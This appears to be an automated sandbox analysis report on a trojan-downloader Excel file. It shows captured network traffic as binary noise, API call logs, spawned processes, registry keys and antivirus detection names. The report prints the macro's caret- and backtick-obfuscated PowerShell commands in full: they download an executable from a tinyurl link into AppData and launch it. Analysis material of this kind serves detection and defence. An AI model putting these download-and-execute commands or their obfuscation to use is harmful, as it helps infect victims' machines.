|óú|ÛJsqéÕÝF¶ž€q™ßõP~3Ò5u$^˜Z¨’Eô´Øˆ¦±déûùeHö–ÞF~Z0S]4âòñ‹•ð”ø­ã“
Data received K
Data received GA§D«®Þ’‚Ì´™$Ëf7;+Åý"¦ãõ‚¤y“ÜZà~¬‘ºýo}®}_V‹BOmè=Hyé±øŒc ­ìmJ%ÀX¿¤—POSÅ dü=ñÑì—ôÌSUÿ!—6Qã ýÆb¤î‚¾ò)ÝÛ. ÂÖ4g wÅ°û+¦ÒKVl¾  ¦qyfýÓ=F`_ÒE ö›BÉúÉÀ¿YÍҚg½‰î‹Ž zóW– 2ÄKeOüd@¬^kKJRæÕÇæ{§”i¨¯î–Ï®Ü^쏦!Ԓµ|߈Éì͛ha©Ê_ 驕;·±‘<œW9^Ì!ñ¾îª w(ñû×æYZhQ0mK”7Îs#LQŠ‰šv…&¼ótBÜ6ŽӍ+ïz»=<_Šå åܬpw&
Data received 
Data received 
Data received 
Data received 
Data received 0
Data received ­Pe©²?R©Ã5´=˝­ÜIÙB/<{i†r*7‰‡÷6aҖÜÝ þÿ.ëwD
Data received p
Data received À;™µ‘¤tî< *Œ=ÈwÕØlßå¦øÐqm¦E“Jù˜;Æèê^읁ָ®ÛnÝvýÂ؃4¶ÐŠzC·™ò!?͚q5´rD|ÒZgÑÆo:Rý™:0uEŽR3Ç.Çê =M9 òN[ê‰&Õ?t‚™=>jbËZE V÷d¶“Îoв.N;zr©¿d*6‚ø(®G¾©ñwƒ¾ˆÑeˆ6üûC,ºú”iè¥Ã2lPϳ'3k¦Ç4~#ÖÈç1ëۆ»ƒ`|i¥¿Î­áÈá‚'_yV~tÌ"W.¸×|ϖFAñqž¯ÂM³²#2L÷»Û=OüŠ}!äpíuvÎð8‘âéï‚)tXZl´³Æ’?ïÐ8Uç<â ¬Ÿµ+æNaÅúÔÊñ|ÈT;ž5Ч[kãD MÂB‘ˆ^|‰rQCÈçË¢åÃø{˜±WÏÓۉÉƍ,B5 fÉ#Ö@¾!˜ã—靅|ý;ý’R_&W¶±=Q÷„ziÒÁ¿9¹´Ú¯®Ó„ qËy#wÕ½"×Ԝºïœ\§”쐪 %÷ùùèÂRÖåؼzÞºsç,“TMžE´›Ÿì“)óÛ<Ó ]BH×›Ê~‘ÊTœL_ê¡N#þ½•^ör»áRbd·ñ³U¡)zÄ2'ßW©²»~ø .aÓcò þ/É>³YP¸|"{°íü4ÄCyÛ«E¿šðSnš¡ c"W±²µË’æ_hW F¾<JC }͐‘ã~Q Úëáá4OÝÞ :u2¥5yÐQ*tqØé}Šó r@¿ïsöŒ& ¼4u”ì¡ê|ÌYþqvynV°04 Q¬À¦+°áa4nÄÖEcjÅH𠹎 ‰Â VĐçEúý„R°Ì §jcšÉ¹µ8H±‹˜¶[OóW³Vª­*ñ³ÊØå«X_÷©7\Ÿ³p5ðÁ_´±Å¯ê»p! ^ ·=%¿}5:÷P¸¡¥Ì77#È. )y%—×Y¶v¦5Må7ëÉmË_Lï‹ 2”ˆ'¼»ñMq¬oûÂhÉ՟²8qïÎIsáõ Í…Èak¾~"åwËïŠ5ñGx“oœ¦V‘Òóü0÷ü±ªÜ5XµõUC1Àž(fŒL)ß*Rm¶bj&Êbì_uüob%îi‡?I¡ò‡x¹`.M²!бã)S>µע囈)Fœ¯=‚KGþl)”Ž—µ‘±Rˏ„À½O’Dx6Dån i)àÒ̝<˜ªÐéóDoÂ$/æ ΰ@_7ažo6îÊdæ=ôFƒð¿ ¸Ek—H<7ª(Ú^G2ÎÄJ‹dÙäê´½‹òýGŽá$„ö’BiP+Ø=XxLGÒ?K}xµ^Z b,¶‚!°ã€Ù„ˆ^¿,’ÊjE‘k8‘A‡Ô?Úýö%8«|x{µìU·‡Q_®›:‰Cýœ/‡ñìy’÷²Ñ1º!©[9@üŒOTâ•E«u5,n Ðo$bqú€³Xwº"ÄZ24ãȏúV¢Ë$a`É2¡%ßL+x¦¬KΞ¹®ýœßñ‘’pÁ[¼rnBák0¬õ¾ÅtIћw¤w Ùȑ.6~§ÁŸ´D{‡¬Otß÷ûã´ú„+ŽŸ‡˜Ñüîñöñº÷T§ªÝÂÛ%sUÑÜ¿GAAO©-æ¼nÊyÃÕËÐÏúV ‘Ö%ïÇ¡LaGpõ±jS P·Æ¤ ð@•!Œçö.X ¼HÇw¯PUÎòq©ñe=t«ê=é
Data received `
Data received •ÐYÊ|7…X›öLSþȀ:b€á?¯ùc¥xBÿ)Öm³Ë€Üòud’4“ÿÈÓñ"!´àh†Ë®?Å`ÞEö­Õ,c½j‰Ù$Eô¶]¼oSNAlGZ|
Data received 
Data received —õ¥Ü@w2oÐRœÛÍCk˜JdöA5L~$:ÓKµé
Data received sE_~Ï²97‚é¼»ô¼ ñ?ïZ9ã1=Ý/檕o\¦üiH†8ï¼ö@ø³ò„ñásèë [X¤é0'è/v¨B4~#Äß k¼ó€_ë³ÙÏÐJŜ.3®âb‰P®·â`jE$Û3 ¹àùìȏ*®A M“añò§ý[Õõ©Árع¥›I&ÀíÒs—~#"yP,ïîa𫤾ÈY>ÎwÞý…õÝûêÏè ‡S‰rU~ö–f'EúhZu"š‘}uo¤™¹çäu„|®ºIvÓV”ãC7»²¤i~ÈéE@SLu­-™êÇrТ*ӓÖKÓÅ hàÄ/gwšH¸m¶ë`<02+)mb®ì™ñþ‚[^E¿f½L¤ªÅ‹˜p÷$®CÎ@³—“Ü_5¸¼–À‡ÉE^)Ç)€ñ¤Ò½Òl‚g¿Ÿ€±6nA!No(²¤ö¦Œâ_ÊõdHD™ còs“|ÌéuŒ9,£U¦göa HÆ#:õèyÈÊ}¿½I▃?2¦| èp}Ê$LìY4<žvSéwì á ì!¬Ä~¼Ÿ£µàøŠ]0n—¨¹xd,Ç&|ãÒÝ»þà —ÉIY®¥yr@¨¥q.ôµ°7OC²È=aûj3…x†cOÈýŠš©~Ró Ú%/þù:RÁÚÔ6Ù‘ÒrÔn€gäÆH•˜GœyJz/7ã—v¨ÔdJ f½>·Mä²xÙ §ˆvz»?3ZÏhÌwJß TÝDb“n4•Ñêã4߃X¤>NKDp62¥^Çe4ñYXhìªå˜º´ê‚øuçq· &Š@ë)¥¾!aïi@ëháÞÝÀ8‚†£§‡q)4Hø Å(À¾G~UñCQs¹Í2‹6ø ¡usF þP Ä©°”ÃÛÑnw{Bû6Z®[ÞãY¶¨®öî; ºõkW!îdÃn”󋬌@W«±Í¹ÇIM’Ÿr¸Î#‡n¶Ó ´£ Öê’l@ oݦË.r/ºÈúQ¦ö™k>M°°u² ÁêOØà;X+=pw\W¡ž;†!ïôJÎòXÆ!YIDrrLøQ¥ †`Ÿ÷ý‚˜+%MN„8×!a€Ð®øAÝ3Kßãó| šùq„® .˜ù×p.B|s ™ÊÄ'!1Ðkq,qËèHå&ŒDŒŽÑĪ db2mÙ°çǺ/,>>ŸÊqÅ L ªyVök•-ú¢9þu#Õ«tÐÄU IŸê Á'ùêa2gërù¡‡v£e¼ a³lÏc¬'>U鞨¹¢ºí³„&Fó¾on#0Cì\ÅGÆÀ©´ù6x'Ó0äÎDéÜÀÙÀ†ٍ;Ê秥 3œÅï3GÖóœTÝÿGMØúìÊdC_º¥Áòæ>¨vúUÿ4®Ý´zž´ýg‰5?ØqéA§"ö‹XÕl$ëô¢C ¶N\ù5ÓÊDÀ Þ}¼¦¢ËM_L¨…vÉ×o6žNÍ>soyz¡ìGoåA„/w;ç×  ÀL5CšpŒ µ<ôìòB¬¦y”´nW×õãakºA Ù2Üóôù)ƟUe‰õi—åTT8!›Á4‹É‚¯Å—Zý´ÇيîÆ wĂ\(WÎSu8Ȩ˜>ˆš·\áK$Ðe‡¶ùN'cu’V"zŸý:ŠMV2:ðx¦! 3MòfáÛ êÄ&ÈØM!Ä–+uô¼ûöàNr£þ™ˆ”¤O
Data received à
Data received iSÌƎ[!'ª·ò®Eã Lí¶˜¸¨ìÝ!¾N¨d·çxD•÷Cwÿ–<‰ª=êKÈ ÝXÕ ¾Å BO.II]‚× Q×Ûf¢"cÎZÈ­ Öºíf~û¾¤{Úû€ ÖtŒZîŒ0#íh¨àØ5怒ðK'&[Èr©áۆ`XªQò,ÍSw…ƒVZ'¯AÙ‡(%°UnäHŸGöÄ+¥H2{T8<íp¶ ͘¦¤XàSÔâB<ÐsVEoªðgˆüýö™wKÙ¡¦ÿ„œK€ûa2óåbúÈúå<Çààçæ½[dp] m±Á¬e’¿ß!ºcÝÍ|…6")Ö$æÚBí\sÇA`‚¢fþàê]FïŠÝüA–:L«·–uyvôéáyg~K2Ô!ªúºNÙ)ê̈́ßì¢T^·ŽQþúv_—’p@ÿïMHKº8çãEìŒî—í—K×YԌ$(Dt=¶LV[°T‡EÞ 4pñšó¾7 Ǿh5•žËçä]Æ"는ÄvŽ6ëýÿÞ,ýãMçՓó?;.XhHePVåÍݙžÆIE‡\B_v“Æ)gbðVìA+y=.¦]ZKB{FÝ_ºº6àkÁ"îø³G镴B-3·p"iiÓZR'“£î-µ”ëÇ6õÈui¯ §³¤Øâ¬KoÞ§ˆôÔÁߖjºŠ PWö0Ò6žG“‡H֙#iÄL’’£P™ª_'ÂÜFgK`~+Ÿ¯Á®&Ø+€¾´nÀ—x';ܖ‘à?ñ¯Cånðá¤ÅáÂˋDÖ5ÝDÿT{vÀô[ ÚŸ{ÔñJŽ;Êv=ùÉáY¬ABC¿äÆæ‰ó¸ F `¦¾õ<ŸÉ Fæã;–øÈØOƒÀ·µúI녦+ãô§3›$ËX±>WØdŸžãw ÄõS½7§¸Ú=w
Data received 5Õþ†}Ÿ‚Õ®˖’ßP}’M‚ÝvbªÒ:.ç ¿ cbSã)ðFoi/A  HBy3zùW“—ϵ0˜Oç+DÈQDðµêÃòO°f”@¥O T°¤P$ ý_cæªHàšaÞDSࣞ'} º t^×íœxŠu¨œƒçš*Pë!ʓ;V¯ª™ƒñú^ˆ!ÕºüºuHao}??¬¹«ú»â×ÍöFvbê.èr »°þHQtÅJÐ.ô©#«˜dô>Ùä)å|PŠyT¢@nÌdÔ´;vGçÒöfà±_—ü x«å€0ÎbÊÒ;ªµº&¸7üÁ\¡:$gì¦GeqZ÷Xë@s΂j@r~2Àö¹øf i7?¨…5"É1fº«øjÀçá#sky:ž¸€·VéÔtÍx7§¡¼Ëœ­Ó¿¤s~Í——[‚+?5 0}-Hò5œ_oªjEÑvš—bXÚY­¢´y¶<r¢yAéZoÐEâђ~BÏs­áC§pÕår ï>ª1¼ï¼{¥ôß´tCf‚}XÓ¨˜uo‡ñÿ í´õü}»‚… þà¢1ýq±"ý¡ ÛF¤åö8Z|ÿ¨¦võŽ>rƒÔ=ö°…«‰ Ã'í¾Vƒ¡6â ©ÑCfˆã¼ <*­ =ªPJ¯ t½[ÍP¯aPù+¹Î¦uçÜTJËóíÃåNsY“W€êp„ò]<K0’‚;dJ^†f‚_Z¿Ûú³}+T‘ð‰’ëϖ`árŒ§Tö"MB @–Å‹<Àå%µù©X-Í ¬¾rWp* ‹nøƒvL¾𔺚Ýn›þ„‚ŠsoîUPxc_ó£EHhLµÊ_Ã* 2sU³2UêÞ$§,³ œI÷4‚±ƒCé†ûP ÏóGwNŒê ލ}Ø:GëÄBLYp!°Ž«ì§ 0_y1ïbOÕ6Y·‹2d؛òJ`zJ>'"©3¶}øl.ãøߒ—N°«k¦»òŽHv ¼Î±Ü0Vì±BŠ‹)Ëq#ƒ9F¨eL—ÅZ‚¼[è¥ûŽjpjÆRߚX(ý+ nbãüì:ś­€é`t’ OðG5­ ñ½ÿŒªÃ¢X/4vÔòø¦/¡‹€³þVÚ|"ÝÉ.Qyy˜Õ–™ªå5É1”é`ýöf7rØVí[;0¦rbGÎb¢([U2>WU­‡B—ý'w] Œµæ\)³·µÝ9ÞlüÔ &àü­"ÁÞË'Œ€œâéÆjoÖ2¯<÷ېâ‘_¶(ÁÖbE˜¨juGŒ’{¼àÇY$"îÑù,vÂ$’‹+‚/÷ø9O’Ÿ]ÆCD(ãé°·‡#ê¬VäFl¯³-øQ=<ÕEÒå¸C…=1^qwsÑ·N£ô#Õ`’£.úä"p´ ]ùÏ>NOcà,A¹s›éMÄÉ]Nš Ö÷ž)2³ú}Òûê*eï|Ž§<~aotÈ-7=,¼Qµ,ï€*™º*p~u~90ï=„ÿüUJ|Q¿ûڀ¾æór> Ël¶èÃ°í¡·÷C”XJÎ%Š-ÃüàCó@¢ ÀïiïF&. –Üó% ÝËæY÷E"Äù‹‚ñ¯¦¸…âüàß#zq°.‹ô™¬©Ù·Ä+õµ›¼:Óµï<ÇÐ8#qê .hçåԟ©&§S͞ÖݼUò9Lqû Ç<ç+,u tyªwô†ï´ÍæŚW¢ia%*aáf²IfþݦÙÒ xƒ
Data received 0§`î3‘f0û]ÆFïv®‹ZˆKƒ £¸·ÑÉ£¼ _DßC¶LîjŒ>ôô4MpCY…ž=FyÜrèÔB’UÜ»angHKb뻼ˆáPʊº‡ØxzâÙczêÖvUs„— È©ûs­4Uœ3¥ž=ºÝT‹…ò#g nC¤hN5Q°F®ßAoh¹O¿ÂR>Êëá0²ŽYo޸ʍD„Óð¸ôèaåuµã ú¿î²ê™LºGÑ»¬¦þ~³¬ :mazdcj”׊dî3ˏݔÄäCÛ¥:¬KÛOA_gPœ`’ËM>lQÎBô\¢ËҔPϪ¤…ÚsÑ ”KHûÁ.†‰dám™_7àªÔ-å„ jëók°¨TqŒÙT²pÑIñäƒqo-ç~Ž+ÓYƵ;z"¸½úàÇ©LMn…põœW-ä¤ÇÉÜ]Ôiâl˜â£ùńCÀu$Iÿ¹ýY[†ÝÔ{m í¸•~Üƽ5%[¨íÊ+|Žþ<-ðzóÜøéúê-6a§;ˆ¨0“À¶Øh“Í‘¯¬Ãå½-ŒJÇåAy<¹éDÇKՕÚt¯øû3‚ºg½‚‘ש1CAùÝÎ. eÚÛ»¥#€àLGh£o1þWTûqªKóô5ï( êÞe2’ÂÅ+î(ó¼ÞTcî¤jôa›à¨ƒSRž²pÌ­=’PåŠB[/Ï,ÂJʁ‰÷˓õ¸¬·»¥<2$ÑÞææ–L¾ï57Ô+4Þ%[1'ÓðÇ}Gj.§›• ¦›äO÷§Ñ_9œµâç» ì^’IúàJözÑ&U贎×ÅN´«ôVP¹Íæ"E-±&±]HimÚí4Lt§ìMœ2y[Ӎó‡Â7ŽÂ,54¾ÒRÞ=}HBÉ31ßÆù ÄY0±Ÿ-)×L²&¡²æþÎ@ØÁù؏ K¯/Ò, ½–ëðí¶Æ¥8!§¬FÁ0ðrHû¡Ð¨ö{"½gÓÄÌ]n¢=Ù¼t¬'ñP·ÙÉÂHZ )™Ãþü 2©þÒ¨æÀŸìmîÙuknb°R»7¨o—»ÖÄ6ÚI§ÉíùÒ0{Ұ訍$K*¿Pa8¨—â;V–xfԉÊÿO4Di‹àp«â´î>!iވSÀôy:’mLÞ½(tD˜Ó†YÛÓábÌìê׎„X­†é*Ý·÷L\ä QšLsjƒ¶?æ«øåä+gYèª~Uýyzþ9@Ž 3Ô­³¦ Óò›„í!$ôFœˆ2r Äv끲]±›øSãßQbm_¿pˆLÎùva†^´‡³‘ Ç_>{z jqlå;Ï©ü×à ÆÉ0"ëU,®þ\Kœ§ôºšT6ô®<ô³ÓLvêA}xRUá‘Éw$à´¯@°QÙµ§(ãlÓ¢?×ë‰Q<< ¼<Mz²³Z ºƒH é×ZÐC1ªRǹý‹ÊÝy^*. Få>)nwŒó€Ì Z#áu,-ˆ·°ž¹7ï )Ÿ±½¡ ã‹_´Z)Ñ 6z Ôs_¦þ\µøì¯E¿5’OfB]M=n ~œÎßæÝcø*Ï&Ùư܃dwËã‘ë~ÍyijµnÚ.e#[Xô©þ9<’`zÕ~"!^·æі”p=„?¹äóMƒ9ΰ´œª_O1®Už5 1«Ë‹Žöê\ýšÅQóKKvòéG4ÉàŽ§lÆè¦#ɍž+'ë1霨ÉÕÈ`wÌïÙ¤Ô
Data received Ž>%ªË·×[1¾¾j9üÐÒú®*N§,)Zÿˆ±gÍ&Ԋ4fùèÙÀŠo‘Y¨LS×宨a;l†#2¢Ûòi¼Ä¸…{à„'[iò]>ò?l|$h”„§†´Îp Ð& ×ø "ù ýdv'_ÒPìÏþ0Ò3o‰Z0©—T¯´ÚIt’Ò®ú_€êþ6ü2ÁîӜzeïÅÀš—ߨéŌå@Îׇ~kÆ ™EÉf8äúVùqD. ¹doŒ‚îݲÎÜ ˆ=„?‰W¬f€k`?_ ?« ·)ӟ§HW-bv£ž •vܧ|7»ðÎZ@[ïr¬³p†G…usaGR5€7Ùÿ×6n÷“ôŒDÁOÃ—È ë×ʎôDTùZ<½x1K¤±*¬Š}y2©ð¶ÉqFãʬ>–0Yà²vœF µkM˜èu¤Qtü ǚl5Ô¹Ô;”>Í ‹æ‹ŒXnQ5³R/ú V!TÓÁSt–ó=P¿r¤#Éß#Sa¥ næ.*”mG +ZþlþfbìZ¾ìzK]¶8ÓF+–é¹.>¡S‡`ZŒ"³å•¤ÂyÀ–3¨/{wxJ°Ït“Çɪéß¡› ä?Âoò$ˆJx’¨ÙZ½OɌʥâºë´‘¡¯SHŠð*ˆ`æ~÷´5Ìu„ÃF^°Žºî‹¥TS:ŠOç¸Â¨r æ¤W܁,Ãý™ê²Õu®ÏݘïîXā,ùµî··rÌ®-ܯS˜X͜ ØG‹"e«½ç 9ÌÇø¬,Ãk ©í7¿V¢Åmª‘š•1üÆÞµ[,\Mɖ¢pËý_ õŽ¶ã/nÝy*£<r\YyB,„¨úkë,Ü ›ž|Q¨Ûª¡ YPàJÛ§­@hë Ê%Öo>¥ÝèO!áþÀ›7c6ñÚEÁÅUî_†Ïé<ÁI ¢a¨d^k°Y¯ÿ[ðR›C¥¾˜}ìò<ð¢¾Ã"cv²Nþ«›zìÄÂEüô@Õ°«$] ^ìs¬)ÎW*ÀwGÃÁ’𸞯ˆŒ K‹™»ÙA} è;‘»—s¢Ï¿xë…ï"tˆ~ þÖRè,+ê@MÖj%+øË<¯.à)ó%(zÇ ¯s‡‡è ìÔ¢2.,£Ôϧ»§VñƒK‹9–0×ÒVÿäÿhP»Î¸CûÙD-g›˜B¢úe²þÏG'Ήãa³×6ar|„rÏçéá«."‡‰ŒÇÖú.ÿü…m„3äådKŸ”ÍV)žôPˆû„6¹PðSëÖî5pçæã¥J½«.£o!‚´Ëìuw4÷þ´Ü3㓪Uf:ô}åêjýmTo ،ï™Lœ ?<v€ª ¿9ˆG²!^Äâ#à®Ó$ bR¥ä9AaÛD„°7lK ­°˜ÑÍÍ51’I׬ÌBȂJMÃȆKX¯Z4†lêÏYB?–}>mºá»›ªyˆk;7ý(•³Å¨XOÿ[Š0†îó˜Ù˖ߟK*žÊl—·MÀŠŒ±2¸óµÚÁÓÐ`3gorštRÖLìüöïôæÉÐãû̱5xç¾xXKŒ…˜öBoãl€ê¢Ý›±>=jˆ@u¨?¿TúB™sz¿’JÏG&ñãàþ£Óy…BÎq8 `î«ïÀ~÷ n«uq ÙȺ †œÂŸãRK²üq3~r눹Æ%ï«æŽÇ÷’ýì5—=Ü[¨IÓpÄ_À|'Iκ}¬ŠŽ&µä ï¢ÃB|sF"¼¬·IZ¨¸zœàI5¾Ë/Uç
Data received Ð
Data received 5.·Í»E9,}jôê>‚LGvCãTjL¥P+8jƇRüçF2s%!÷(퐘ҿ2N0ŒÌ  gjäÍNê9m7¥þñ~•ñËҘ;ThsKî„ØÃÄÇ~ZÏÙoN4h¿%þsZs¥‰ºRè¦Ë9\óhû5ì/SÒiŸbüõ;ϵ;³»1"Ó§™Ë©4œÉîÉpôª èþUåŒÖÒKn˜“\ÝÐeC@Lí{؎¯Ž†Îø&ŸBû ,* ñ[íÞ4-¹t71Ó|QQ÷Žµ_×fõ¸ÍHÿÚaXMDO^^ýÞ8j X”D…>ölÆx1°ú„„Ë;A[7c~—ÿǍy1”„›X”¦’ŽùBïXšà4é$®¼â'"q¤„íÛÈéjXÏTºl“°‘>&Ú&N,‰¼# ù:¸l½nzªïZ†…#¿n,ü+ƒ¡N &ÂJLt„zAt™ŠÒh+>Yeä¯[÷¾À}šçvH¾G}B%~s¡§–B€¾ ˆð¥àÖ&¤•#Ç¡4”óB¡ßU۞éȍ°†1ü½õ¿««„hnë–ûÜ¥0ã1'MœîJ¬gÕ%€ýÚs¾½‰â&câ16~qëŽ+nUœ’ê@éýVÚÁTÜÝc_O¼QýU!ÎR»Ñf'È°dV„ÒÒ+’rb ˆìÆhÀÜí‰ ×Xì[$ œx2¾nß«ò,Ö%ßú ‡d§ÁÎw˜Lƽî}´™pӑS7Z°3ߗsy3 šŠ¹Ú燐^'±¡¯W7P©VÌwâbw}k²Ôº“ÝXm³E _~‰,á†æ±ô˜­:Ïr"sJ{§«I`†l¯81¤9},vÍ"žûŒ1!ý–ë5_¹Ò4D¦@) źXö šåŠTNrDcU_¼°ã[ÑsM¥ìޓ45wxl.ýh‹áp“±}G l•©ZÍnÁ¯4¹ïv²r8„ ÚڕRY°ÒÛjBeß^@å>°vâg<÷ ¥‡Â£AZ?/{†(ƒ“&?@BGê oqMµö±s@ØR{ž3êå*¹½­ê$9)Ó¥‡l3®BcŒ— Ú•céï2ó3º+™YRÛTèD6 ¾ÆN#n“ìï¨lž™^Ún‘7&8š¬ùËB*ÉKÒ;Çe² ª=až‰\Im*5/‡€e,â+cï÷¯AS¡‚¯#Þㇰ´ý1ÒåÝ.½‹…–×Ȋ¯éöæýí!.ô.*ß'¹‘=Û,k“yÁ
Data received Ûå0n\ŒL¿\¶§’é~&|³œý¼vüÀÐvÜ
Data sent nj`lÚÈXDâï¢AUéK]ׁýê]b0þÕ$Ó}³/5 ÀÀÀ À 28)ÿ tinyurl.com  
Data sent FBA$Moµ¾\ë2jžë´½×“™òÞ»¬ná¢g8%ž <MËÊPëC¦ÈsPúH ‡*Â2:K "€nÐ<"Ò/À0ŸjƒÈÙ'Áâ~¡. *{0%F%/ö>©¿t‰o=€˜%r×àҚ—‘ ’p»ú]u›
Data sent `¢ÖŽÂÉ­÷ Wác^ЮbÛý“¸‹ÿsRïèYŸwa‰'~­¦)l;Eñª&Àùí<ÉÄO$m€1ÜMÓ^†(&`±\vã±8 w}6 MAöq“ðcl}ø0
Data sent p›;á ¾ˆQÔ;~âÛ60Šo÷IÞÚ_7p‘ {͏Ȝ†&×>ûc´øMP%$ÎnrÁä_fád KK¶tš`*tnlÝ]JËÁDÎ]ÅBàa¯~´ü#ð/;….Kæ°Ý6í¤þ ò@ÓÍ
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Time & API Arguments Status Return Repeated

FindWindowA

 class_name: ConsoleWindowClass
window_name: ntvdm-18d0.1964.16c4
1 2884430 0
file C:\Users\Administrator\AppData\Roaming\re.exe
parent_process excel.exe martian_process cmd /c po^wer^shell -w 1 Start-Sleep 12; sTArt-`P`R`ocess $env:appdata\re.exe
parent_process excel.exe martian_process cmd /c po^wer^shell -w 1 (New-Object Net.WebClient).DownloadFile('https://tinyurl.com/y3psaqmm',($env:appdata + '\re.exe'))
Time & API Arguments Status Return Repeated

send

 buffer: nj`lÚÈXDâï¢AUéK]ׁýê]b0þÕ$Ó}³/5 ÀÀÀ À 28)ÿ tinyurl.com  
socket: 1504
sent: 115
1 115 0

send

 buffer: FBA$Moµ¾\ë2jžë´½×“™òÞ»¬ná¢g8%ž <MËÊPëC¦ÈsPúH ‡*Â2:K "€nÐ<"Ò/À0ŸjƒÈÙ'Áâ~¡. *{0%F%/ö>©¿t‰o=€˜%r×àҚ—‘ ’p»ú]u›
socket: 1504
sent: 134
1 134 0

send

 buffer: `¢ÖŽÂÉ­÷ Wác^ЮbÛý“¸‹ÿsRïèYŸwa‰'~­¦)l;Eñª&Àùí<ÉÄO$m€1ÜMÓ^†(&`±\vã±8 w}6 MAöq“ðcl}ø0
socket: 1504
sent: 101
1 101 0

send

 buffer: p›;á ¾ˆQÔ;~âÛ60Šo÷IÞÚ_7p‘ {͏Ȝ†&×>ûc´øMP%$ÎnrÁä_fád KK¶tš`*tnlÝ]JËÁDÎ]ÅBàa¯~´ü#ð/;….Kæ°Ý6í¤þ ò@ÓÍ
socket: 1504
sent: 117
1 117 0
parent_process excel.exe martian_process cmd /c po^wer^shell -w 1 Start-Sleep 12; sTArt-`P`R`ocess $env:appdata\re.exe
parent_process excel.exe martian_process cmd /c po^wer^shell -w 1 (New-Object Net.WebClient).DownloadFile('https://tinyurl.com/y3psaqmm',($env:appdata + '\re.exe'))
parent_process powershell.exe martian_process C:\Users\Administrator\AppData\Roaming\re.exe
parent_process powershell.exe martian_process "C:\Users\Administrator\AppData\Roaming\re.exe"
value Uses powershell to execute a file download from the command line
registry HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\VirtualDeviceDrivers
registry HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\VirtualDeviceDrivers\VDD
CAT-QuickHeal Ole.Trojan.A942401
McAfee W97M/Downloader.czq
Cyren Trojan.OLXK-6
Symantec W97M.Downloader
TrendMicro-HouseCall TROJ_FRS.VSNTIS20
Avast Other:Malware-gen [Trj]
Kaspersky HEUR:Trojan.Script.Generic
ViRobot XLS.Z.Agent.57856.BS
Tencent Win32.Trojan-downloader.Agent.Auto
F-Secure Malware.W2000M/Agent.AZ
DrWeb Exploit.Siggen2.44999
TrendMicro TROJ_FRS.VSNTIS20
McAfee-GW-Edition W97M/Downloader.czq
Avira W2000M/Agent.AZ
Microsoft TrojanDownloader:O97M/Obfuse.JQ!MTB
AegisLab Trojan.Script.Generic.4!c
ZoneAlarm HEUR:Trojan.Script.Generic
GData Generic.Trojan.Agent.AEJUPV
Cynet Malicious (score: 85)
Zoner Probably Heur.W97ShellB
ESET-NOD32 a variant of Generik.KHBWLI
Ikarus Trojan-Downloader.VBA.Agent
Fortinet MSExcel/Agent.AXZBT!tr
AVG Other:Malware-gen [Trj]
Qihoo-360 Generic/Trojan.Script.ed4
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Program Files\DVD Maker\DVDMaker.exe
file C:\Windows\System32\unregmp2.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe
file C:\Users\Administrator\AppData\Roaming\re.exe